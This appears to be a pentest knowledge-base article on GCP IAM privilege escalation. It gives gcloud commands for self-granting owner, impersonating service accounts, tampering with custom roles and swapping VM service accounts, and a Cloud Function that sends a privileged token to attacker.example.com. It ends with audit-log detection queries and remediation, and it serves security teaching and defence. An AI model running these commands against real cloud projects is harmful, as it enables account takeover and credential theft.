
GCP IAM Privilege Escalation Techniques
GCP IAM privilege escalation paths including service account impersonation, binding escalation, and workload identity abuse.
Introduction
GCP's IAM model uses bindings that associate a principal (user, service account, group) with a role on a resource. Privilege escalation in GCP is almost always about IAM. You find a permission that lets you change bindings, impersonate a more privileged service account, or deploy compute that runs as a more privileged identity. Unlike AWS assume-role, impersonation through iam.serviceAccountTokenCreator doesn't need the SA to trust you explicitly. The binding is enough.
Rhino Security Labs documented these paths in their 2020 research. Their repository lists 17 methods, each with the permission it needs. The point is that some IAM permissions are escalation primitives in themselves. setIamPolicy at any resource level lets you grant yourself anything on that resource. serviceAccountTokenCreator gives you short-lived tokens for any SA in scope. actAs plus permission to create compute or functions lets you run a workload as an SA and take its identity. Many of these paths exist because GCP organizations grant broad permissions at the project level while assuming SA impersonation is a separate concern.
Enumeration is the prerequisite. You need to know what permissions your current principal has, what SAs exist, what roles they carry, and whether any of those roles include escalation primitives. The paths here assume a foothold: a compromised user credential, metadata server access from a GCE instance, or a leaked SA key.
Authorization required
These techniques are destructive and leave audit trails in Cloud Audit Logs. Only execute against GCP projects where you have explicit written authorization. Unauthorized access to cloud resources violates the Computer Fraud and Abuse Act and Google's Acceptable Use Policy regardless of how permissions were acquired.
Impact
- Full project takeover through
resourcemanager.projects.setIamPolicy: one binding makes you Owner - Persistent backdoor SAs that survive incident response if cleanup is incomplete
- Cross-project escalation when SAs have bindings in multiple projects
- Data exfiltration from GCS, BigQuery and Secret Manager through impersonated high-privilege SAs
- Lateral movement into connected GCP services (GKE, Cloud SQL, Pub/Sub) through SA token reuse
- Workload identity abuse lets identities from external providers (GitHub Actions, AWS, Azure AD) act as GCP SAs without a key file
Technical details
Enumerate current permissions
Before trying any path, find out what the current principal can do. The testIamPermissions API takes a list of permissions and returns only the ones you hold. There's no denied error, just a shorter list.
gcloud projects test-iam-permissions PROJECT_ID \
--permissions='iam.serviceAccounts.setIamPolicy,iam.roles.create,iam.roles.update,resourcemanager.projects.setIamPolicy,iam.serviceAccountTokenCreator,iam.serviceAccounts.actAs,cloudfunctions.functions.create,compute.instances.setServiceAccount'bf_my_gcp_perms.py (carlospolop/bf_my_gcp_permissions) brute-forces GCP permissions with testIamPermissions against a project, folder or organization. It sends the permissions in chunks (50 per request by default).
python3 bf_my_gcp_perms.py -p PROJECT_ID -c key.jsonAlso enumerate SA bindings directly to find which SAs hold what roles:
gcloud projects get-iam-policy PROJECT_ID \
--flatten="bindings[].members" \
--format="table(bindings.role,bindings.members)" \
--filter="bindings.members:serviceAccount"Path 1: iam.serviceAccounts.setIamPolicy
This permission lets you update the IAM policy on a service account resource (not the project). You add yourself as roles/iam.serviceAccountTokenCreator on a target SA with high privileges, then generate tokens as that SA.
gcloud iam service-accounts add-iam-policy-binding \
TARGET_SA@PROJECT_ID.iam.gserviceaccount.com \
--member="user:attacker@gmail.com" \
--role="roles/iam.serviceAccountTokenCreator"gcloud auth print-access-token \
--impersonate-service-account=TARGET_SA@PROJECT_ID.iam.gserviceaccount.comThe token is valid for 3600 seconds by default. Use it with any GCP API by passing Authorization: Bearer TOKEN or setting CLOUDSDK_AUTH_ACCESS_TOKEN.
Path 2: iam.serviceAccountTokenCreator (direct)
If you already hold roles/iam.serviceAccountTokenCreator on a SA, you skip the binding step and go straight to impersonation.
gcloud iam service-accounts generate-access-token \
TARGET_SA@PROJECT_ID.iam.gserviceaccount.com \
--lifetime=3600sTOKEN=$(gcloud auth print-access-token \
--impersonate-service-account=TARGET_SA@PROJECT_ID.iam.gserviceaccount.com)
curl -H "Authorization: Bearer $TOKEN" \
"https://cloudresourcemanager.googleapis.com/v1/projects/PROJECT_ID:getIamPolicy" \
-X POST -H "Content-Type: application/json" -d '{}'Impersonation chains too. If SA_A has tokenCreator on SA_B, and SA_B has tokenCreator on SA_C, you can go through both:
gcloud auth print-access-token \
--impersonate-service-account=SA_A@PROJECT.iam.gserviceaccount.com,SA_B@PROJECT.iam.gserviceaccount.com,SA_C@PROJECT.iam.gserviceaccount.comPath 3: iam.roles.update (custom role modification)
If you have iam.roles.update on a project, you can modify any custom role's included permissions. Find a custom role you're bound to and add resourcemanager.projects.setIamPolicy or iam.serviceAccountTokenCreator to it.
gcloud iam roles list --project=PROJECT_IDgcloud iam roles update ROLE_ID \
--project=PROJECT_ID \
--add-permissions=resourcemanager.projects.setIamPolicyAfter the update propagates (usually seconds), your existing binding now grants the new permission without any additional IAM changes being logged against your principal.
Path 4: iam.roles.create (custom role creation)
iam.roles.create lets you define a new custom role with any set of permissions that you yourself hold (iam.roles.create does not allow privilege escalation beyond your current permissions in theory, but in practice it's often granted alongside other permissions that do). The exploitation pattern is to combine this with resourcemanager.projects.setIamPolicy on the same principal.
gcloud iam roles create MALICIOUS_ROLE \
--project=PROJECT_ID \
--permissions=resourcemanager.projects.setIamPolicy,iam.serviceAccountTokenCreator \
--title="Service Account Viewer" \
--description="Monitoring role"gcloud projects add-iam-policy-binding PROJECT_ID \
--member="user:attacker@gmail.com" \
--role="projects/PROJECT_ID/roles/MALICIOUS_ROLE"Path 5: resourcemanager.projects.setIamPolicy
The most direct path. Changing the project-level policy lets you add any binding at the project level, including roles/owner for yourself.
gcloud projects get-iam-policy PROJECT_ID --format=json > policy.json# Edit policy.json to add: {"members":["user:attacker@gmail.com"],"role":"roles/owner"}
gcloud projects set-iam-policy PROJECT_ID policy.jsonThis generates an AuditLog entry of type SetIamPolicy sourced from cloudresourcemanager.googleapis.com. Detection is straightforward if anyone is watching.
Path 6: Cloud Functions deployment (actAs + cloudfunctions.functions.create)
iam.serviceAccounts.actAs allows you to deploy workloads that run as a target SA. Combined with cloudfunctions.functions.create, you deploy a function that runs as a privileged SA and exfiltrates its access token to an attacker-controlled endpoint.
cat > /tmp/main.py << 'EOF'
import urllib.request
import google.auth
import google.auth.transport.requests
def exfil(request):
creds, project = google.auth.default()
auth_req = google.auth.transport.requests.Request()
creds.refresh(auth_req)
token = creds.token
# Exfiltrate token
urllib.request.urlopen(f"https://attacker.example.com/?t={token}")
return token
EOF
cat > /tmp/requirements.txt << 'EOF'
google-auth
EOF
gcloud functions deploy exfil-func \
--runtime=python311 \
--trigger-http \
--allow-unauthenticated \
--service-account=HIGH_PRIV_SA@PROJECT_ID.iam.gserviceaccount.com \
--source=/tmp \
--entry-point=exfil \
--region=us-central1curl https://REGION-PROJECT_ID.cloudfunctions.net/exfil-funcThe same pattern works for Cloud Run, App Engine and Cloud Build: any service that takes a --service-account flag, as long as you have actAs on that SA.
Path 7: compute.instances.setServiceAccount
If you have write access to GCE and this permission, you can swap the SA attached to an existing VM to a high-privilege one, then access the metadata server from within the VM.
gcloud compute instances set-service-account INSTANCE_NAME \
--zone=ZONE \
--service-account=HIGH_PRIV_SA@PROJECT_ID.iam.gserviceaccount.com \
--scopes=cloud-platformThen from within the VM:
curl -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"If you don't have shell access to the VM, combine with compute.instances.setMetadata to inject a startup script that exfiltrates the token on next reboot.
Path 8: Workload Identity pool abuse
Workload Identity Federation lets external identities (GitHub Actions, AWS IAM roles, Azure AD) authenticate to GCP without a key file. The mapping is controlled by attribute conditions on the pool binding. A misconfigured condition like attribute.repository=="*" instead of a specific repo lets any GitHub Actions workflow impersonate the bound GCP SA.
gcloud iam service-accounts get-iam-policy TARGET_SA@PROJECT_ID.iam.gserviceaccount.comLook for bindings with principalSet://iam.googleapis.com/projects/NUMBER/locations/global/workloadIdentityPools/POOL_ID/attribute.ATTR/VALUE where the value is overly broad.
# In a GitHub Actions workflow file
- id: auth
uses: google-github-actions/auth@v2
with:
workload_identity_provider: 'projects/NUMBER/locations/global/workloadIdentityPools/POOL/providers/PROVIDER'
service_account: 'TARGET_SA@PROJECT_ID.iam.gserviceaccount.com'No key file is needed. The GitHub OIDC token is exchanged for a GCP access token at the STS endpoint (sts.googleapis.com).
Tools
bf_my_gcp_perms.py tests permissions via testIamPermissions on a project, folder or organization. The project you check from needs cloudresourcemanager.googleapis.com enabled.
git clone https://github.com/carlospolop/bf_my_gcp_permissions
cd bf_my_gcp_permissions
pip3 install -r requirements.txt
# Enumerate with SA key
python3 bf_my_gcp_perms.py -p PROJECT_ID -c /path/to/key.json
# Enumerate with the current gcloud identity
python3 bf_my_gcp_perms.py -v -p PROJECT_ID -t $(gcloud auth print-access-token)
# Only the services that matter most for escalation
python3 bf_my_gcp_perms.py -p PROJECT_ID -t $(gcloud auth print-access-token) -s "iam.,compute.,storage.,cloudfunctions."The README points to GCPPEASS in carlospolop/cloudpeass for a newer version of the same script.
Detection
GCP Cloud Audit Logs capture all admin and data access activity. The following log entries signal privilege escalation attempts.
Admin Activity logs (always on, cannot be disabled):
| Log entry | Service | Significance |
|---|---|---|
SetIamPolicy on project | cloudresourcemanager.googleapis.com | Direct binding escalation |
SetIamPolicy on SA | iam.googleapis.com | tokenCreator self-grant |
CreateRole / UpdateRole | iam.googleapis.com | Custom role abuse |
CreateServiceAccount | iam.googleapis.com | Backdoor SA creation |
CreateServiceAccountKey | iam.googleapis.com | Key persistence |
GenerateAccessToken | iamcredentials.googleapis.com | SA impersonation |
instances.setServiceAccount | compute.googleapis.com | VM SA swap |
SIEM detection query (Log Analytics or BigQuery export)
SELECT
timestamp,
protopayload_auditlog.authenticationInfo.principalEmail AS actor,
protopayload_auditlog.requestMetadata.callerIp AS source_ip,
protopayload_auditlog.resourceName AS resource,
JSON_EXTRACT_SCALAR(protopayload_auditlog.requestJson, '$.policy') AS new_policy
FROM `PROJECT_ID.DATASET.cloudaudit_googleapis_com_activity`
WHERE
protopayload_auditlog.methodName = 'SetIamPolicy'
AND (
protopayload_auditlog.requestJson LIKE '%roles/owner%'
OR protopayload_auditlog.requestJson LIKE '%roles/editor%'
OR protopayload_auditlog.requestJson LIKE '%serviceAccountTokenCreator%'
)
AND DATE(_PARTITIONTIME) >= DATE_SUB(CURRENT_DATE(), INTERVAL 7 DAY)
ORDER BY timestamp DESCCloud Monitoring alert for SA impersonation
gcloud alpha monitoring policies create \
--notification-channels=CHANNEL_ID \
--display-name="SA Impersonation Detected" \
--condition-filter='resource.type="audited_resource" AND protoPayload.methodName="GenerateAccessToken"' \
--condition-threshold-value=1 \
--condition-threshold-duration=0sFor Workload Identity pools, check ExchangeToken calls in the sts.googleapis.com data access logs. Volume spikes or unexpected subject claims indicate abuse. Enable Data Access logs for the STS API explicitly; they are off by default.
Remediation
-
Audit
setIamPolicygrants first. Non-admin identities almost never needresourcemanager.projects.setIamPolicy,iam.serviceAccounts.setIamPolicyoriam.roles.update. Find them and remove them, and use Organization Policy constraints to keep them out. -
Enforce the
iam.disableServiceAccountKeyCreationorg policy. It blocks SA key creation entirely, so workloads have to use metadata server tokens or workload identity federation. -
Apply
iam.disableServiceAccountCreationat the folder or project level for non-admin projects, so a compromised principal can't create new SAs. -
Never use wildcard values in workload identity attribute conditions. Pin the exact repository, branch and workflow file path:
Terraform: restricted workload identity binding condition = "attribute.repository == 'myorg/myrepo' && attribute.ref == 'refs/heads/main'" -
Put VPC Service Controls around the IAM-sensitive APIs (
iam.googleapis.com,iamcredentials.googleapis.com). Calls are then limited to authorized networks, and tokens can't be used from outside. -
Review custom roles quarterly: list them with
iam.roles.listand--filter="stage=GA"and compare their permissions against a known-good baseline. -
Give SAs no IAM roles at the project level. Grant roles on the specific resource (bucket, dataset, topic), with conditions where possible.
-
Rotate and audit SA keys. Investigate any SA key older than 90 days. Keys should be replaced by workload identity federation for any GCP-to-GCP or CI/CD-to-GCP authentication.
References
MITRE ATT&CK techniques
- T1078.004 - Valid Accounts: Cloud Accounts
- T1484.001 - Domain Policy Modification: Group Policy Modification
- T1548 - Abuse Elevation Control Mechanism
Tool documentation
- bf_my_gcp_permissions (carlospolop)
- GCPwn (NetSPI)
- GCP IAM Privilege Escalation Scripts (Rhino Security Labs)
- GCP IAM Permissions Reference
- Workload Identity Federation Documentation
- Cloud Audit Logs Overview
- Rhino Security Labs: GCP Privilege Escalation Research (2020)
Next steps
AWS IAM Privilege Escalation Techniques
AWS IAM privilege escalation techniques including policy exploitation, role assumption, and permission enumeration for cloud penetration testing.
Azure AD Privilege Escalation
Microsoft Entra ID (Azure AD) attacks including enumeration, privilege escalation, token abuse, and hybrid identity exploitation.
Cloud Metadata Service Attacks
Exploiting SSRF for cloud metadata credentials, internal port scanning and Redis via gopher, with filter bypasses and blind SSRF over out-of-band callbacks.
Google Cloud Platform (GCP)
GCP security assessment, IAM privilege escalation, and cloud-native attack techniques for Google Cloud environments.
GCP Security Assessment and Enumeration
GCP security assessment methodology covering project enumeration, service account discovery, storage bucket exposure, and metadata API exploitation.